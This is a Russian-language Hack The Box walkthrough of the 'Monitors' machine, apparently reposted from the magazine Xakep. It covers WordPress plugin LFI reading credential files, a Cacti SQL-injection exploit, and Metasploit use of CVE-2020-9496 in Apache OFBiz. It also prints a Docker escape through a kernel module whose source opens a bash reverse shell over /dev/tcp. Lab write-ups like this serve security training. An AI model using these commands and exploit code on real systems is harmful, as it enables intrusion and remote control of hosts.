Хакер - HTB Monitors. Применяем еще один способ побега из Docker
hacker_frei
RalfHacker
Содержание статьи
- Разведка. Сканирование портов
- Точка входа
- Сканирование WordPress
- Уязвимость LFI
- Точка опоры
- Продвижение
- Получение флага пользователя
- Погружение в Docker
- Локальное повышение привилегий
В этой статье я покажу прохождение сложной машины Monitors с площадки Hack The Box. Мы посканируем сайт на WordPress, получим RCE в CMS Cacti, проэксплуатируем дыру в Apache OFBiz и, наконец, сбежим из Docker с максимальными привилегиями благодаря SYS_MODULE. Поехали!
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ
Добавляем IP-адрес машины в /etc/hosts:
10.10.10.238 monitors.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Видим два открытых порта: 22 (служба SSH) и 80 (веб‑сервер Apache 2.4.29). На веб‑сервере работает WordPress 5.5.1, с его исследования мы и начнем.
ТОЧКА ВХОДА
Сканирование WordPress
Тестировать сайты на WordPress удобнее всего утилитой WPScan. С ее помощью можно обнаружить уязвимые версии самого WordPress, тем и плагинов, а также собрать имена пользователей и перебрать учетные данные. В общем, все, что может понадобиться! Перед началом сканирования советую зарегистрироваться на официальном сайте WPScan и получить токен API. Тогда утилита будет автоматически проверять найденные страницы на уязвимости. Нам даже предоставят ссылку на отчет или готовый эксплоит!
Чаще всего уязвимы плагины, поэтому я зарядил их перебор (опция -e ap) в агрессивном режиме (опция --plugins-detection aggressive), используя 128 потоков (опция -t):
wpscan --url http://monitors.htb -e ap --plugins-detection aggressive -t 128 --api-token [token]

Потратив несколько минут, мы получаем отчет, в котором напротив найденного в агрессивном режиме плагина стоит пометка «1 vulnerability identified». Значит, на целевом сайте установлен уязвимый плагин Spritz 1.0. Заодно нам дали ссылку на Exploit-DB, где есть описание уязвимости. Но если у тебя специализированный дистр вроде Kali Linux, то база ExploitDB уже есть на твоем диске и ты можешь использовать утилиту searchsploit, чтобы искать по ней.
searchsploit 44544
searchsploit -p php/webapps/44544.php


Из описания эксплоита мы видим, что плагин уязвим к LFI — локальному включению файлов.
Уязвимость LFI
В описании уязвимости находим и инструкцию по эксплуатации. Давай проверим уязвимость, прочитав файл /etc/passwd.
curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

Так как на хосте развернут веб‑сервер, а на нем работает целая CMS, то первое наше действие — это попробовать получить учетные данные пользователей. Высока вероятность, что эти учетные данные подойдут и при логине в систему. В случае с WordPress искать следует в файле с настройками для подключения к базе данных wp-config.php.
curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//var/www/wordpress/wp-config.php"

Я сразу попробовал этот пароль для авторизации в WordPress в качестве админа, но это не принесло никаких результатов. Так как мы можем читать файлы с хоста, поищем этим способом другую точку входа. У меня есть два списка (для Windows и Linux) файлов, который стоит проверять. Фаззить будем с помощью Burp Intruder.


Мы натыкаемся на файл конфигурации Apache /etc/apache2/sites-enable/000-default.conf, где находим пользователя admin@monitors.htb. Виртуальный хост cacti-admin.monitors.htb сразу добавляем в /etc/hosts, а потом смотрим. Нас встречает форма авторизации.
10.10.10.238 cacti-admin.monitors.htb

ТОЧКА ОПОРЫ
Авторизоваться получается как пользователь admin с паролем BestAdministrator@2020!, который служил для подключения к базе данных.

Нас встречает система управления контентом под названием Cacti, причем мы сразу видим ее версию — 1.2.12. А раз у нас снова готовый продукт, мы опять поищем готовые эксплоиты при помощи searchsploit.
searchsploit "Cacti 1.2.12"
searchsploit -p php/webapps/49810.py

Находим эксплоит именно для этой версии Cacti. Он эксплуатирует SQL-инъекцию. После первого запуска узнаем, что он должен дать нам реверс‑шелл. Нужно указать лишь адрес своего хоста и порт для обратного подключения.
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
apt install rlwrap
В качестве самого листенера при этом можно использовать широко известный netcat.
rlwrap nc -lvp [port]
А теперь выполним эксплоит. Передаем адрес хоста и учетные данные, а также адрес локального хоста и порт для обратного подключения. После запуска сразу же получим бэкконнект.
python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.126 --lport 4321


ПРОДВИЖЕНИЕ
Получение флага пользователя
Итак, мы получили шелл. Найти направления для повышения привилегий нам в очередной раз помогут скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Чтобы воспользоваться скриптом, его нужно сначала загрузить на локальный хост.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Так как на сервере отсутствуют программы curl и wget, мы не можем загрузить файл с локального веб‑сервера. Тогда будем использовать netcat. На сервере откроем листенер и установим лимит ожидания пять секунд, при этом весь вывод перенаправим в файл.
nc -lp 5432 -w 5 > /tmp/linpeas.sh
На локальном хосте подключимся к листенеру и запишем туда наш скрипт.
cat linpeas.sh | nc 10.10.10.238 5432
На выходе получаем огромное количество информации. Изучим ее и отметим важные для нас вещи:
- Нам доступен
runc. - Есть запущенный Docker.
- Есть прослушиваемые только на локальном хосте порты.
- Нам доступны файлы из домашней директории пользователя.
- Есть интересный файл
cacti-backup.service.




Начнем с последнего пункта и глянем файл /lib/systemd/system/cacti-backup.service.

Отсюда мы узнаем, что от имени пользователя www-data запускается скрипт /home/marcus/.backup/backup.sh.

В скрипте находим учетные данные. А найдя новый пароль, сразу же проверяем его везде. Так мы авторизуемся по SSH от имени пользователя marcus.

Погружение в Docker
Итак, мы выяснили, что на машине работает Docker, а также есть прослушиваемые для localhost порты. Для начала определим, за что отвечает порт 8443. Выполним подключение к порту с помощью netcat. Когда нам не ответят, отправим запрос GET HTTP. На этот раз ответ есть.
nc 127.0.0.1 8443
GET / HTTP

Кроме того, нам сообщают, что сервер работает по протоколу HTTPS. Давай прокинем порт с помощью SSH и будем туннелировать трафик с локального порта 8443 на порт 8443 сервера. После чего обратимся к удаленному сервису по адресу https://127.0.0.1:8443/ через браузер.
ssh -L 8443:127.0.0.1:8443 marcus@10.10.10.238

Нас встречает ошибка 404, но нас это не остановит. Попробуем просканировать файлы и директории. Возьмем список common.txt из набора крутых списков Seclists. А для перебора я использую тот же Burp Intruder.

Нашлось много страниц, которые отвечают редиректом. Перейдем на одну из них и получим форму авторизации Apache OFBiz.

Apache OFBiz — это фреймворк, который обеспечивает поддержку общей модели данных для большого набора бизнес‑процессов. Все приложения строятся вокруг единой архитектуры, использующей общие компоненты для данных, логики и процессов. Так как мы нашли новую технологию, мы просто обязаны сразу же проверить наличие готовых эксплоитов.

Так мы находим уязвимость, имеющую идентификатор CVE-2020-9496. Идея в том, что пользователь, не прошедший проверку подлинности, может воспользоваться этой уязвимостью, отправив вредоносный HTTP-запрос, содержащий созданную полезную нагрузку XML в теле HTTP-запроса (OFBiz использует уязвимые версии библиотек Apache Commons BeanUtils и Apache ROME).
Эксплуатация этой уязвимости может привести к удаленному выполнению кода (RCE) в контексте пользователя, запускающего приложение. По идентификатору находим уже реализованный в Metasploit Framework эксплоит.
search CVE-2020-9496

Выбираем данный модуль в Metasploit Framework, затем заполняем значение параметров: адрес хоста и порт, а также тип нагрузки. В качестве нагрузки я выбрал стабильный Meterpreter для Linux x64.
msfconsole
use exploit/linux/http/apache_ofbiz_deserialization
set RHOSTS 127.0.0.1
set RPORT 8443
set payload linux/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 6543
set forceexploit true
run

Таким образом мы проникаем в Docker и работаем в контексте пользователя root.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Итак, мы — рут, но в «Докере». Можно снова запускать скрипт типа LinPEAS, но в случае с докер‑контейнером советую использовать другой скрипт для разведки — Deepce. Он ищет пути повысить привилегии или сбежать из Docker и даже проверяет некоторые эксплоиты. Загрузим его средствами Metasploit, получим шелл, дадим права на выполнение и запустим.
upload ~/tmp/deepce.sh /tmp
shell
chmod +x /tmp/deepce.sh
/tmp/deepce.sh

Видим подсвеченную привилегию SYS_MODULE. Иногда приложению в «Докере» может потребоваться выполнить привилегированную операцию для работы. Тогда Docker позволяет пользователю добавить в контейнер дополнительные привилегии (например, SYS_MODULE). В этом случае приложения, выполняемые обычным пользователем, смогут совершать привилегированные операции без предоставления им всех прав рута.
В данном случае привилегия SYS_MODULE позволяет контейнеру добавлять или удалять модули ядра хостовой системы. Это позволяет нам использовать следующий эксплоит (в реверс‑шелл вставляем адрес хостовой системы):
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("");
MODULE_AUTHOR("");
MODULE_DESCRIPTION("");
MODULE_VERSION("");
char* argv[] = {
"/bin/bash",
"-c",
"bash -i >& /dev/tcp/172.17.0.1/8765 0>&1",
NULL
};
static char* envp[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Функция call_usermodehelper используется для создания процессов пользовательского режима из пространства ядра и принимает три аргумента: argv, envp и UMH_WAIT_EXEC. UMH_WAIT_EXEC заставляет модуль ядра ждать, пока загрузчик выполнит программу. Ниже привожу Makefile.
obj-m +=exploit.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Закидываем и exploit.c, и Makefile в Docker, а затем собираем командой make.

Теперь в сессии SSH от имени пользователя markus запускаем листенер:
nc -lvp 8765
Теперь загружаем модуль ядра в докере и ловим бэкконнект.
insmod exploit.ko

Поздравляю, мы только что захватили машину и имеем над ней полный контроль.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei